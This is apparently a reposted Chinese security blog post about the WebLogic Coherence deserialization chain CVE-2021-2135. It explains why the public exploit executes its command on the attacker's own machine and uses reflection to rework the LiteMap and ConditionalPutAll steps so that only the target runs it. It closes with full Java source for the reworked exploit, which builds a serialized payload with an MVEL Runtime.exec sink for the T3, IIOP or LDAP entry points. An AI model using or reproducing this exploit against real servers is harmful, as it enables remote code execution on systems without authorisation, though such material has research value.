CVE-2021-2135是一个weblogic的反序列链,依赖coherence.jar/coherence-web.jar/coherence-rest.jar。因此只能在weblogic12或者weblogic14版本上打,weblogic10就不行。
既然是反序列化链,那就可以在三个反序列化入口上打,T3/IIOP/ldap,这里的ldap也就是CVE-2021-2109。
网上公开的exp如下。
https://github.com/R17a-17/JavaVulnSummary/blob/bd30150e9ea4ffd44a4be47cd63aedaa93f7ba22/weblogic/src/main/java/com/r17a/weblogic/cve/CVE_2021_2135.java
其sink点在于Mvel代码执行,简写如下。
String payload = "java.lang.Runtime.getRuntime().exec("calc");return new Integer(1);";
MvelExtractor extractor1 = new MvelExtractor(payload);
extractor1.extract(1);
那么在com.tangosol.coherence.rest.util.extractor.MvelExtractor.extract()下断点,堆栈如下。
具体原理不分析了,这里不是重点,网上也有分析文章大家自己搜。
注意堆栈中的LiteMap<K,V>(InflatableMap<K,V>).put(K, V)
在原exp中,LiteMap也做了两次put。
liteMap.put(simpleBinaryEntry,1);
liteMap.put(new XString(null),2);
在第二次put的时候,就会在本地直接触发命令执行,也就是说还没等exp打到别人服务器上,自己的服务器先被打了。
其原理和URLDNS链是一样的,我之前的老文章讲过,之所以要在URLDNS链中两次修改hashCode的值,就是为了规避这种情况。
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url, 0);
f.set(url, -1);
从堆栈中我们可以看到,是因为触发了Objects.equals(),才引发后面的命令执行,那么我们怎么规避equals()呢?
下断点来看第一次put,注意这里idea自己解析也可能导致命令执行,无视即可。
由于this.m_nImpl=0,进入case 0分支,变成1后再给this.m_oContents注册KV,代码很简单。
再看第二次put。
进入case 1分支,将原本的this.m_oContents和新的KV合并成一个Map组。最后将this.m_nImpl变成3。
触发命令执行的代码在哪儿呢?正是if的判断Objects.equals(key, entryKey)。
主要的代码逻辑只是变动了两个属性,那么我们只要放弃put,依葫芦画瓢,用反射修改这两个属性即可。
byte bt = 3;
Map.Entry[] arrayOfEntry1 = new Map.Entry[8];
Map.Entry entry = (Entry) Utils.getFieldValue(liteMap, "m_oContents").get(liteMap);
arrayOfEntry1[0] = entry;
arrayOfEntry1[1] = new AbstractMap.SimpleEntry(new XString(null), 2);
Utils.setFieldValue(liteMap, "m_nImpl", bt);
Utils.setFieldValue(liteMap, "m_oContents", arrayOfEntry1);
这样就不会经过if判断,规避了本地执行代码的问题。
下面还有一行代码有同样的问题,看类名就看的出来,它执行了putall。
ConditionalPutAll conditionalPutAll = new ConditionalPutAll(new MapEventFilter(), liteMap);
跟进com.tangosol.util.processor.ConditionalPutAll()
再跟进com.tangosol.util.LiteMap()
putall当然也会触发,所以这里也改一下,先put一个空的LiteMap,再用反射改。
ConditionalPutAll conditionalPutAll = new ConditionalPutAll(new MapEventFilter(), new LiteMap());
Utils.setFieldValue(conditionalPutAll, "m_map", liteMap);
优化后的代码如下。
package sonomon.weblogic.exec;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.tangosol.coherence.rest.util.extractor.MvelExtractor;
import com.tangosol.coherence.servlet.AttributeHolder;
import com.tangosol.internal.util.SimpleBinaryEntry;
import com.tangosol.io.DefaultSerializer;
import com.tangosol.io.Serializer;
import com.tangosol.util.*;
import com.tangosol.util.aggregator.TopNAggregator;
import com.tangosol.util.filter.MapEventFilter;
import com.tangosol.util.processor.ConditionalPutAll;
import java.io.*;
import java.lang.reflect.Method;
import java.util.AbstractMap;
import java.util.Map;
import java.util.Map.Entry;
import sonomon.weblogic.Utils;
public class CVE_2021_2135 {
public static void main(String[] args) throws Exception {
// final String command = args[1];
// 最终的执行载体
// 执行没有结果时会返回ProcessImpl实例,poc会将结果转为Comparable,ProcessImpl实例不能转换所以会报错,因此这里返回一个Integer类型的数据
// MvelExtractor extractor1 = new MvelExtractor("java.lang.Runtime.getRuntime().exec("calc");return new Integer(1);");
String payload = "java.lang.Runtime.getRuntime().exec("calc");return new Integer(1);";
MvelExtractor extractor1 = new MvelExtractor(payload);
MvelExtractor extractor2 = new MvelExtractor("");
// 序列化入口
AttributeHolder attributeHolder = new AttributeHolder();
SortedBag partialResult = new TopNAggregator.PartialResult(extractor2, 2);
partialResult.add(1);
Utils.setFieldValue(partialResult, "m_comparator", extractor1);
// 这里bin_Key必须用ExternalizableHelper.writeObject赋值,不能用partialResult.writeExternal(dataOutputStream1);
// 因为使用partialResult.writeExternal最终不会调用partialResult.readExternal,只会写m_comparator,不写partialResult自身
ByteArrayOutputStream baos1 = new ByteArrayOutputStream();
DataOutputStream dataOutputStream1 = new DataOutputStream(baos1);
ExternalizableHelper.writeObject(dataOutputStream1, partialResult);
ByteArrayOutputStream baos2 = new ByteArrayOutputStream();
DataOutputStream dataOutputStream2 = new DataOutputStream(baos2);
ExternalizableHelper.writeObject(dataOutputStream2, new Integer(0));
Binary key = new Binary(baos1);
Binary value = new Binary(baos2);
SimpleBinaryEntry simpleBinaryEntry = new SimpleBinaryEntry(key,value);
Serializer m_serializer= new DefaultSerializer(SimpleBinaryEntry.class.getClassLoader());
simpleBinaryEntry.setContextSerializer(m_serializer);
// 调用xString.equals(simpleBinaryEntry)可触发SimpleBinaryEntry#toString,所以map按顺序先加入simpleBinaryEntry,再加入xString
LiteMap liteMap = new LiteMap();
liteMap.put(simpleBinaryEntry,1);
// liteMap.put(new XString(null),2);
// 直接put会在本地触发,反射写进去
byte bt = 3;
Map.Entry[] arrayOfEntry1 = new Map.Entry[8];
Map.Entry entry = (Entry) Utils.getFieldValue(liteMap, "m_oContents").get(liteMap);
arrayOfEntry1[0] = entry;
arrayOfEntry1[1] = new AbstractMap.SimpleEntry(new XString(null), 2);
Utils.setFieldValue(liteMap, "m_nImpl", bt);
Utils.setFieldValue(liteMap, "m_oContents", arrayOfEntry1);
//ConditionalPutAll conditionalPutAll = new ConditionalPutAll(new MapEventFilter(), liteMap);
//同理,直接new会putall,也会本地触发,反射写进去
ConditionalPutAll conditionalPutAll = new ConditionalPutAll(new MapEventFilter(), new LiteMap());
Utils.setFieldValue(conditionalPutAll, "m_map", liteMap);
// 序列化入口
// AttributeHolder attributeHolder = new AttributeHolder();
Method setInternalValue = attributeHolder.getClass().getDeclaredMethod("setInternalValue", Object.class);
setInternalValue.setAccessible(true);
setInternalValue.invoke(attributeHolder, conditionalPutAll); //调用setInternalValue方法设置m_oValue属性为conditionalPutAll
Utils.serialize(attributeHolder);
//Utils.deserialize();
}
}
原文始发于微信公众号(珂技知识分享):CVE-2021-2135在本地触发的改造